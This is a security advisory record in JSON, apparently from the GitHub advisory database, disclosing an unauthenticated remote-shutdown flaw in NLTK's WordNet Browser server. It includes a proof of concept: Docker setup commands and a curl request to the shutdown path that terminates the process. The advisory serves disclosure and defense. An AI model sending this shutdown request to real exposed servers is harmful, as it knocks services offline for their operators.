"details": "### Summary\n`nltk.app.wordnet_app` allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple `GET /SHUTDOWN%20THE%20SERVER` request causes the process to terminate immediately via `os._exit(0)`, resulting in a denial of service.\n\n### Details\nThe vulnerable logic is in `nltk/app/wordnet_app.py`:\n\n- [`nltk/app/wordnet_app.py:242`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L242)\n - The server listens on all interfaces:\n - `server = HTTPServer((\"\", port), MyServerHandler)`\n\n- [`nltk/app/wordnet_app.py:87`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L87)\n - Incoming requests are checked for the exact path:\n - `if unquote_plus(sp) == \"SHUTDOWN THE SERVER\":`\n\n- [`nltk/app/wordnet_app.py:88`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L88)\n - The shutdown protection only depends on `server_mode`\n\n- [`nltk/app/wordnet_app.py:93`](/mnt/Data/my_brains/test/nltk/nltk/app/wordnet_app.py#L93)\n - In the default mode (`runBrowser=True`, therefore `server_mode=False`), the handler terminates the process directly:\n - `os._exit(0)`\n\nThis means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.\n\n### PoC\n1. Start the WordNet Browser in Docker in its default mode:\n\n```bash\ndocker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \\\n nltk-sandbox \\\n python -c \"import nltk; nltk.download(\u0027wordnet\u0027, quiet=True); from nltk.app.wordnet_app import wnb; wnb(8004, True)\"\n```\n\n2. Confirm the service is reachable:\n\n```bash\ncurl -s -o /tmp/wn_before.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\n```\n\nObserved result:\n\n```text\n200\n```\n\n3. Trigger shutdown:\n\n```bash\ncurl -s -o /tmp/wn_shutdown.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER\u0027\n```\n\nObserved result:\n\n```text\n000\n```\n\n4. Verify the service is no longer available:\n\n```bash\ncurl -s -o /tmp/wn_after.html -w \u0027%{http_code}\\n\u0027 \u0027http://127.0.0.1:8004/\u0027\ndocker ps -a --filter name=nltk-wordnet-web-default-retest --format \u0027{{.Names}}\\t{{.Status}}\u0027\ndocker logs nltk-wordnet-web-default-retest\n```\n\nObserved results:\n\n```text\n000\nnltk-wordnet-web-default-retest Exited (0)\nServer shutting down!\n```\n\n### Impact\nThis is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.\n\nAny reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:\n\n- the route is accessible over HTTP\n- no authentication or CSRF-style confirmation is required\n- the server listens on all interfaces by default\n- the process exits immediately instead of performing a controlled shutdown\n\nThis primarily affects users who run `nltk.app.wordnet_app` and expose or otherwise allow access to its listening port.",
"id": "GHSA-jm6w-m3j8-898g",
"modified": "2026-04-25T01:23:10Z",
"published": "2026-03-19T12:42:20Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-jm6w-m3j8-898g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33231"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/bbaae83db86a0f49e00f5b0db44a7254c268de9b"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Unauthenticated remote shutdown in nltk.app.wordnet_app"
}
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| Author | Source | Type | Date | Other |
|---|
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